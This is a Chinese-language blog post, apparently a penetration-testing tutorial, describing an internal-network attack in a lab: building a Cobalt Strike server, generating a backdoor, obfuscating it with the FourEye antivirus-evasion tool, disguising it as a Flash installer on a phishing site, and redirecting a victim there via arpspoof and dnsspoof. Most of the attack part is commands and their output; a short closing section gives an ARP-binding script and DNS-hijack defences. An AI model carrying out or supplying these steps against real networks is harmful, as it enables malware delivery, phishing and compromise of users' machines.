基于内网dns劫持与网页挂马实测案例

本文详细介绍了如何利用CobaltStrike搭建CS服务器端与客户端,进行内网渗透,包括搭建Flash钓鱼网站、DNS劫持与网页挂马技术。通过一步步操作,展示了如何利用ARP欺骗、DNS欺骗实现攻击,并提供了防御措施建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

dns劫持与网页挂马

前提工作

——搭建CS(CobaltStrike)

CobaltStrike简介
  • CobaltStrike是一款内网渗透测试神器,常被业界人称为CS。
  • Cobalt Strike 2.0版本主要是结合Metasploit可以称为图形化MSF工具。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
  • CobaltStrike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,winexe木马生成,win.dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等
CobaltStrike搭建
linux端
1.下载CobaltStrike包
#查看资源页面
2.搭建服务器端
(1)将cs中linux服务器端放入kali中
└─# unzip cobaltstrike-linux.zip 
#使用unzip解压zip文件
(2)进入cs文件给teamserver执行权限
└─# chmod +x teamserver  
#然后终端进入这个目录下,首先查看本机kali的ip地址,然后为一个文件提升下权限chmod a+x #./teamserver,因为会出现权限不够的问题,然后将服务端跑起来
(3)启动服务器端
└─# ./teamserver 192.168.13.135 kali     
[*] Generating X509 certificate and keystore (for SSL)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Team server is up on 50050
[*] SHA256 hash of SSL cert is: a9cbb9eaddd96cb7333c145d52821c6bdcb3142047a9eab2b5dee18080e8a082
#./teamserver 攻击机ip地址 客户端要连接的密码
#./teamserver 192.168.194.181 password
#这里我把密码设为password
Windows端
1.解压cs中.win文件
2.运行.exe
3.连接kali服务器端
#Host是服务端kali的ip地址,端口默认50050,User可以随便改,默认即可,Password是我们刚刚设置的password,然后链接即可
CobaltStrike下载(Linux版/windows会乱码)

CobaltStrike

CobaltStrike文档

CobaltStrike搭建

——搭建flash钓鱼网站

网站搭建
1.打包好源码文件,放入kali中网站根目录
└─# cd /var/www/html        
                                                                                 
┌──(root kali)-[/var/www/html]
└─# ls
1.png     flash_down   flash_error需要网络  README.md
捆绑木马  flash_error  index.html
flash钓鱼源码

flash源码

——网络互通

本地桥接
1.桥接到本地
2.注意当前桥接网卡
3.配置kali网卡
┌──(root kali)-[~]
└─# vim /etc/network/interfaces
	auto lo
	iface lo inet loopback
	
	auto eth0
	iface eth0 inet dhcp	#根据实际情况配置静态IP static
	#address xxx
	#netmask xxx
	#gateway xxx

┌──(root kali)-[~]
└─# systemctl restart networking.service		重启网络服务,获取IP地址
4.kali中dns配置
┌──(root kali)-[~]
└─# vim /etc/resolv.conf   
	nameserver 192.168.13.1

在这里插入图片描述

在这里插入图片描述

网络测试
1.查看当前IP
┌──(root kali)-[~]
└─# ip a | grep eth0                    
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    inet 192.168.13.24/24 brd 192.168.13.255 scope global dynamic eth0
2.网络测试
┌──(root kali)-[~]
└─# ping baidu.com                      
PING baidu.com (110.242.68.66) 56(84) bytes of data.
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=1 ttl=54 time=34.9 ms
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=2 ttl=54 time=42.3 ms
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=3 ttl=54 time=35.8 ms
^C
--- baidu.com ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2008ms
rtt min/avg/max/mdev = 34.891/37.666/42.319/3.310 ms
3.测试网关
┌──(root kali)-[~]
└─# ping 192.168.13.1  
PING 192.168.13.1 (192.168.13.1) 56(84) bytes of data.
64 bytes from 192.168.13.1: icmp_seq=1 ttl=64 time=12.0 ms
64 bytes from 192.168.13.1: icmp_seq=2 ttl=64 time=74.1 ms
64 bytes from 192.168.13.1: icmp_seq=3 ttl=64 time=115 ms
64 bytes from 192.168.13.1: icmp_seq=4 ttl=64 time=478 ms
^C
--- 192.168.13.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3022ms
rtt min/avg/max/mdev = 12.007/169.943/478.295/181.788 ms

内网渗透测试

——启动内网大杀器CS

服务端
┌──(root kali)-[~/cs/cobaltstrike_chinese]
└─# ./teamserver 192.168.13.24 123 		//启动服务端
[*] Will use existing X509 certificate and keystore (for SSL)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Team server is up on 50050
[*] SHA256 hash of SSL cert is: 7b49fc589e7e738e3457859d269996ecef83f693570b0ac482c426b1fa04bd73
[+] Listener: test-2 started!
[+] Listener: ddd started!
[!] Web Server will use default SSL certificate (you don't want this).
        Use a valid SSL certificate with Cobalt Strike: https://www.cobaltstrike.com/help-malleable-c2#validssl
[+] Listener: test1 started!
[+] Listener: test3 started!
客户端
┌──(root kali)-[~/cs/cobaltstrike_chinese]
└─# ./cs.sh                        //启动客户端                                       
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
未检测到使用

在这里插入图片描述

在这里插入图片描述

创建监听器

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

生成后门

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

后门免杀
┌──(root kali)-[~]
└─# cd bypass/FourEye/
                                                                                 
┌──(root kali)-[~/bypass/FourEye]
└─# python BypassFramework.py

 
 ______                   ___           
(_) |                    / (_)          
   _|_  __          ,_   \__         _  
  / | |/  \_|   |  /  |  /    |   | |/  
 (_/   \__/  \_/|_/   |_/\___/ \_/|/|__/
                                 /|     
                                 \|   


                    v1.8 stable !
                    
 FourEye BypassFrameWork | BypassAV your shellcode && exe 
    
FourEye >>list
[+] Shellcode:
[+] Exe:
FourEye >>exe
Please input Your exe: >>/root/cs_Trojans/test.exe
[i] Started armouring /root/cs_Trojans/test.exe (17920 bytes)
[i] Begining encryption via XOR
[+] Wrote 437487 bytes to /root/auQFaIgQJ.exe	#保存路径
FourEye >>

——捆绑木马

自解压木马

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

更改图标ICO

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

——flash钓鱼

将后门挂在网站上
┌──(root kali)-[~]
└─# cp /mnt/windows/flashplayerpp_install_cn.exe /var/www/html/flash_down/    

┌──(root kali)-[~]
└─# cd /var/www/html/flash_down/                                          
                                                                                 
┌──(root kali)-[/var/www/html/flash_down]
└─# ls
css          flashplayerpp_install_cn.exe      images      js
favicon.ico  flashplayerpp_install_cn_web.exe  index.html  README.md

┌──(root kali)-[/var/www/html/flash_down]
└─# systemctl restart apache2.service  //重启apache

在这里插入图片描述

——DNS劫持

#DNS的全称为Domain Name Server也就是域名服务,在真实环境中我们人是很难记住一串没有规律的ip地址的,所以引入了域名方便人们的记忆和访问但是数据包在网络的传输是以ip地址来寻址的,这就导致需要一种服务来提供从域名到ip的转换,而DNS就是这样一种服务。
#这里再介绍一下访问一个网址的时候解析域名会经过哪些步骤吧:
	1.首先会访问我们的本地DNS缓存查看是否有该域名的一个解析记录有的话会取该记录的映射ip进行发送数据包
	2.如果本地DNS缓存没有该域名的解析记录的话,会去访问我们的hosts文件如果该文件当中存在域名的映射关系那么取得ip地址之后进行发送
	2.如果hosts文件当中也没有记录的话就会去访问本地DNS服务器,请求解析该域名如果本地DNS没有该域名的记录的话会向外网的DNS服务器进行请求
#这就是访问一个网站进行域名解析的流程,而DNS劫持是攻击者攻击内网进行ARP欺骗将自己的MAC地址和网关的ip地址对应或者DNS服务器的地址绑定,让所有的流量流向攻击者,而攻击者向受害者发送错误的域名解析导致受害访问虚假的页面,或者是数据包流向攻击者而攻击者在自己的hosts文件中加上一个虚假的域名ip对应关系,转向虚假的网站
首先进行ARP欺骗
#首先使用arpspoof进行ARP欺骗arpspoof -i 网卡 -t 对哪个目标进行欺骗 -r 指定网关ip看效果,目标的网关地址变成了kali的MAC地址,同时还需要对网关的也进行欺骗arpspoof -i eth0 -t 网关 -r 目标 对网关进行ARP欺骗将受害者的MAC改为kali的这样所有留向两者的数据都会经过kali
1.欺骗目标
┌──(root kali)-[~]
└─# arpspoof -i eth0 -t 192.168.13.6 -r 192.168.13.1	正向欺骗
2.欺骗网关
┌──(root kali)-[~]
└─# arpspoof -i eth0 -t 192.168.13.1 -r 192.168.13.6 	反向欺骗
编写hosts文件
┌──(root kali)-[~]
└─# vim hosts.txt    
	192.168.13.24 *.*.*
	*.*.* 192.168.13.24
dns劫持
#此时并没有开启转发服务属于断网攻击此时目标是无法上网的,我们需要使用另外一个工具dnsspoof进行DNS欺骗,dnsspoof -i eth0 -f dns.txt指定一个dns.txt文件里面是一个DNS的A记录就是正向解析记录是域名和ip的映射指定所有域名都指向kali的ip,那么以后win7无论访问什么网站都会访问kali的网页,星号表示任意
┌──(root kali)-[~]
└─# cat dns.txt
192.168.1.154 *.*.*
#可以看到转发没有开启现在win7无法上网
┌──(root kali)-[/]
└─# cat /proc/sys/net/ipv4/ip_forward
0
#注意此时并没有开启转发功能,目标无法上网
1.进行dns劫持
┌──(root kali)-[~]
└─# dnsspoof -i eth0 -f hosts.txt

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

问题总结

1.在攻击时环境问题
网络的互通性,网络不能够通信,数据传输不了,什么都做不了
2.在网关欺骗与dns欺骗问题
如果目标无法访问,就行先打开数据转发功能,等数据通了再将数据转发功能关闭(关闭数据转发,使对方能够准确欺骗重定向到我们要求的网站)
未开启
┌──(root kali)-[/]
└─# cat /proc/sys/net/ipv4/ip_forward
0
开启
┌──(root kali)-[/]
└─# echo 1 > /proc/sys/net/ipv4/ip_forward
┌──(root kali)-[/]
└─# cat /proc/sys/net/ipv4/ip_forward
1
3.不同浏览器的安全等级与防御机制不一样
有的浏览器并不能进行劫持,如edge

防御机制

ARP防御
@echo off
chcp 65001
::网卡绑定bat脚本
:: set /p value=请输入变量的值:意思是定义一个变量value,这个value的值需要在控制台上动态输入
:: =号右边的是提示语,不是变量的值
::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::查看当前网关
ipconfig /all
echo. 
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::查看网关地址与MAC地址
set /p value="输入网关:"
arp -a | find "%value%"
echo. 
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::查看网卡编号
echo 查看网卡编号
netsh i i show in
echo. 
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::输入网卡编号
::set /p value="网卡Idx:"
::echo. 
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::网关绑定
echo 进行网卡绑定
echo.
set /p idx="输入要绑定的网卡idx:"
set /p ip="输入要绑定的网关ip:"
set /p mac="输入要绑定的网关mac:"
echo 进行MAC绑定
netsh -c "i i" add neighbors %idx% %ip% %mac%
::网关解绑
::如若要解除绑定的网卡地址,将网卡绑定命令与下面命令进行替换
::netsh -c "i i" delete neighbors %idx%
::
echo.		%是换行的意思%
echo 绑定成功
::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
echo.
PAUSE
DNS防御
对于DNS劫持的防御有几个建议:
1.输入一个不存在的域名查看解析如果解析出来了那么一般就是被劫持了,这个时候可以使用静态绑定MAC地址的2.方式将网关的地址绑定起来避免ARP欺骗
3.同时可以查询百度的真实ip写入到hosts文件当中
4.同时还可以修改DNS的地址为114.114.114.114
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值